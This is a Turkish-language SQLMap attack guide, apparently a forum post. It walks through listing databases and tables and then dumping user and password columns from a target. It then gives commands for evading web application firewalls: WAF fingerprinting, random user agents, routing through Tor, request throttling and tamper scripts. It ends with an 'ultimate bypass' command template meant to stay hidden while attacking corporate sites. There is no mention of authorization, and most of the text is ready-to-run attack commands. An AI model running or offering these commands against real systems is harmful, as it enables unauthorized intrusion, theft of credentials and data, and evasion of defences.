BÖLÜM 1: Temel SQLMap Komut Mimarisi
SQLMap ile bir hedefe saldırırken rastgele parametreler sallamak yerine yukarıdan aşağıya bir hiyerarşi izlemelisiniz. İşte hedef belirlemeden veri sızdırmaya kadar bilmeniz gereken temel komutlar:
1. Hedef Belirleme ve İstek Tipleri
- "-u "URL"": Tarama yapılacak hedef linki belirtir (GET istekleri için).
- "--data="veri"": POST isteklerindeki body verilerini (örneğin giriş formları) taramak için kullanılır.
- "-r dosya.txt": Burp Suite veya tarayıcıdan yakaladığınız ham (Raw) HTTP isteğini bir metin dosyasından okur. Oturum açılmış (Session içeren) sayfalarda en etkili yöntemdir.
- "-p parametre": Sadece belirtilen parametreyi test eder. Zamandan tasarruf sağlar.
2. Veri Sızdırma (Enumeration) Sıralaması
Açığı bulduktan sonra veriyi adım adım çekiyoruz:
# Adım 1: Sunucudaki tüm veri tabanlarını listele
python sqlmap.py -u "http://target.com/page.php?id=1" --dbs --batch
# Adım 2: Hedef veri tabanındaki tabloları listele
python sqlmap.py -u "http://target.com/page.php?id=1" -D hedef_db --tables --batch
# Adım 3: Tablonun içindeki sütunları (kolonları) listele
python sqlmap.py -u "http://target.com/page.php?id=1" -D hedef_db -T uyeler --columns --batch
# Adım 4: Seçilen kolonlardaki verileri yere indir (Dump et)
python sqlmap.py -u "http://target.com/page.php?id=1" -D hedef_db -T uyeler -C user,password --dump --batch
---
BÖLÜM 2: Gelişmiş WAF/IPS Atlatma Teknikleri
Gerçek hayattaki kurumsal hedeflerin neredeyse tamamında Cloudflare, ModSecurity veya Akamai gibi bir WAF (Web Application Firewall) koruması bulunur. Standart payload'lar gönderdiğiniz an IP adresiniz banlanır. WAF'ı atlatmak için şu aşamaları izliyoruz:
Aşama 1: Keşif ve Parmak İzi (Footprinting)
WAF'ın varlığını ve markasını tespit etmek, ona karşı hangi silahı (tamper) kullanacağımızı belirler.
python sqlmap.py -u "http://target.com/page.php?id=1" --waf-tech --identify-waf
Aşama 2: Kimlik Gizleme ve İstek Doğallaştırma
WAF'lar genellikle "User-Agent: sqlmap" başlığını gördüğü an isteği bloklar. Bunu aşmak için kendimizi gerçek bir tarayıcı gibi göstermeliyiz.
# Rastgele tarayıcı başlığı kullanır ve istekleri Tor ağına sokar
python sqlmap.py -u "http://target.com/page.php?id=1" --random-agent --tor
Aşama 3: İstek Hızını Sınırlandırma (Rate Limiting)
Çok hızlı istek göndermek WAF'ın DDoS/Kaba Kuvvet kurallarını tetikler. Hızı düşürmeliyiz:
# İstekler arasına 1.5 saniye gecikme koyar ve tek thread (iş parçacığı) çalışır
python sqlmap.py -u "http://target.com/page.php?id=1" --delay=1.5 --threads=1
Aşama 4: Tamper Scriptleri (Sihirli Değnek)
Tamper scriptleri, SQLMap'in ürettiği standart kodları WAF kurallarına takılmayacak şekilde şifreler veya dönüştürür.
En Popüler Tamper Scriptleri| Ne İşe Yarar?
"space2comment.py"| Boşluk karakterleri yerine "/**/" (yorum satırı) koyar.
"between.py"| Büyüktür (">") işareti yerine "NOT BETWEEN" mantığını kullanır.
"randomcase.py"| Kelimeleri "SeLeCt", "UnIoN" şeklinde büyük-küçük harflerle yazar.
"charencode.py"| Payload'ı URL Encoding işlemine tabi tutar.
---
BÖLÜM 3: Canavar Kombinasyon (Ultimate Full Bypass)
Eğer karşınızda sert bir WAF varsa, arama derinliğini ("--level"), risk faktörünü ("--risk") artırmalı ve doğru tamper kombinasyonlarını bir araya getirmelisiniz.
İşte forum arşivinize ekleyebileceğiniz en agresif ve en gizli WAF atlatma komut şablonu:
python sqlmap.py -u "https://target.com/index.php?id=1" \
--random-agent \
--delay=1.0 \
--threads=1 \
--level=5 \
--risk=3 \
--tamper="space2comment,between,randomcase,versionedmorekeywords" \
--dbms=MySQL \
--dbs \
--batch
«Altın Değerinde İpucu: "--dbms=MySQL" parametresiyle hedef veri tabanını önceden belirtirseniz, SQLMap diğer veri tabanlarına ait gereksiz payload'ları göndermez. Ne kadar az istek, WAF radarına takılma ihtimalinin o kadar düşük olması demektir.»
Nasıl indirilir?
- git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
- cd sqlmap-dev